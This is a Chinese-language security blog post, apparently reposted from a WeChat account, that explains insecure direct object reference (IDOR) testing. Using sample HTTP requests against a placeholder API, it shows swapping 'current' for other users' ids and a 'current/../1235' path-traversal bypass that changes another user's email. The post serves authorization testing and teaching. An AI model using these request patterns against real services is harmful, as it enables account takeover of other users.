IDOR的高阶技巧
正文
前面写过的有:
https://t.zsxq.com/OLD2I
https://t.zsxq.com/8Hqaf
https://t.zsxq.com/TioRk
今天分享的和后端有些关联
正常:
PUT /api/users/current/profile/email HTTP/2
Host: api.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{
"email": "[email protected]"
}
#响应:
HTTP/2 200 OK
Server: nginx/1.19.0
Date: Fri, 16 Feb 2024 13:37:00 GMT
Content-Type: application/json
{
"userId": 1234,
"email": "[email protected]"
}
在开发者经常会用current和me这种关键字,可以尝试利用用户id(数字)来替代current
下面是测试步骤:
1th:将current变为当前用户的id
PUT /api/users/1234/profile/email HTTP/2
Host: api.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{
"email": "[email protected]"
}
#响应:
HTTP/2 200 OK
Server: nginx/1.19.0
Date: Fri, 16 Feb 2024 13:37:00 GMT
Content-Type: application/json
{
"userId": 1234,
"email": "[email protected]"
}
如果响应正常的话可以替换id
2th:将current改为别人的id
PUT /api/users/1235/profile/email HTTP/2
Host: api.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{
"email": "[email protected]"
}
#响应:
HTTP/2 200 OK
Server: nginx/1.19.0
Date: Fri, 16 Feb 2024 13:37:00 GMT
Content-Type: application/json
{
"userId": 1235,
"email": "[email protected]"
}
上面这种情况有时候会越权失败,可以尝试一下绕过,这里就有一种情况是这样的:
厂商至少有2个api服务器,其中一个位于前端,负责处理所有客户端请求...…
还有一个在后端,通常是一个存储数据且只能在内部访问的数据库
开发者经常犯的错误是只验证前端 API 的访问,但是不验证任何用户输入
于是就有了下面的绕过思路:
#原请求
PUT /api/users/current/profile/email HTTP/2
Host: api.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{
"email": "[email protected]"
}
#改变之后请求
PUT /api/users/current/../1234/profile/email HTTP/2
Host: api.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{
"email": "[email protected]"
}
前端API服务器处理该请求时,会解析允许请求通过的“current”关键字,并将其转发给后端API服务器,当后端 API 收到请求时,它会转换为以下请求:
PUT /api/users/1234/profile/email HTTP/2
Host: api-internal-dbs:80
Content-Type: application/json
{
"email": "[email protected]"
}
那这里我们可以进行越权:
PUT /api/users/current/../1235/profile/email HTTP/2
Host: api.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{
"email": "[email protected]"
}
#响应
HTTP/2 200 OK
Server: nginx/1.19.0
Date: Fri, 16 Feb 2024 13:37:00 GMT
Content-Type: application/json
{
"userId": 1235,
"email": "[email protected]"
}
原文始发于微信公众号(迪哥讲事):IDOR的高阶技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论